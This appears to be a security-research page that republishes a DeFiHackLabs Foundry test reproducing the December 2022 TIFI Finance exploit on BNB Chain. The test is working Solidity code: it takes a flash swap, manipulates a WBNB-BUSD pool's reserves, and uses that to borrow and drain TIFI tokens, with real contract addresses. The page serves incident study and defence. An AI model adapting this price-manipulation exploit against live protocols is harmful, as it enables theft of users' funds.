Public reproduction file

src/test/2022-12/TIFI_exp.sol

Public reproduction file for dataset entry - TIFIToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/TIFI_exp.sol66 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/peckshield/status/1601492605535399936
9// @TX
10// https://bscscan.com/tx/0x1c5272ce35338c57c6b9ea710a09766a17bbf14b61438940c3072ed49bfec402
11 
12interface TIFIFinance {
13    function deposit(address token, uint256 amount) external;
14    function borrow(address qToken, uint256 amount) external;
15}
16 
17contract ContractTest is Test {
18    TIFIFinance TIFI = TIFIFinance(0x8A6F7834A9d60090668F5db33FEC353a7Fb4704B);
19    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
20    Uni_Router_V2 TIFIRouter = Uni_Router_V2(0xC8595392B8ca616A226dcE8F69D9E0c7D4C81FE4);
21    Uni_Pair_V2 Pair = Uni_Pair_V2(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16);
22    IERC20 TIFIToken = IERC20(0x17E65E6b9B166Fb8e7c59432F0db126711246BC0);
23    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
24    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
25 
26    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
27 
28    function setUp() public {
29        cheats.createSelectFork("bsc", 23_778_726);
30    }
31 
32    function testExploit() public {
33        WBNB.approve(address(TIFIRouter), type(uint256).max);
34        BUSD.approve(address(TIFI), type(uint256).max);
35        TIFIToken.approve(address(Router), type(uint256).max);
36        Pair.swap(5 * 1e18, 500 * 1e18, address(this), new bytes(1));
37 
38        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
39    }
40 
41    function pancakeCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
42        TIFI.deposit(address(BUSD), BUSD.balanceOf(address(this)));
43        WBNBToBUSD(); // change the reserve of WBNB - BUSD
44        TIFI.borrow(address(TIFIToken), TIFIToken.balanceOf(address(TIFI))); //call getReserves of WBNB - BUSD LP and borrow TIFI TOKEN
45        TIFIToWBNB();
46        WBNB.transfer(address(Pair), 7 * 1e18);
47    }
48 
49    function WBNBToBUSD() internal {
50        address[] memory path = new address[](2);
51        path[0] = address(WBNB);
52        path[1] = address(BUSD);
53        TIFIRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
54            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
55        );
56    }
57 
58    function TIFIToWBNB() internal {
59        address[] memory path = new address[](2);
60        path[0] = address(TIFIToken);
61        path[1] = address(WBNB);
62        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
63            TIFIToken.balanceOf(address(this)), 0, path, address(this), block.timestamp
64        );
65    }
66}

Analysis

Dataset entry

Public Foundry test for “- TIFIToken” (2022-12-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name: TIFIToken
Path: src/test/2022-12/TIFI_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 5ad78618b8add19d6b2856f6e0783ca920046199
Language: Solidity
Size: 67 lines
Date: 2022-12-10
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2022-12/TIFI_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5ad78618b8add19d6b2856f6e0783ca920046199, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.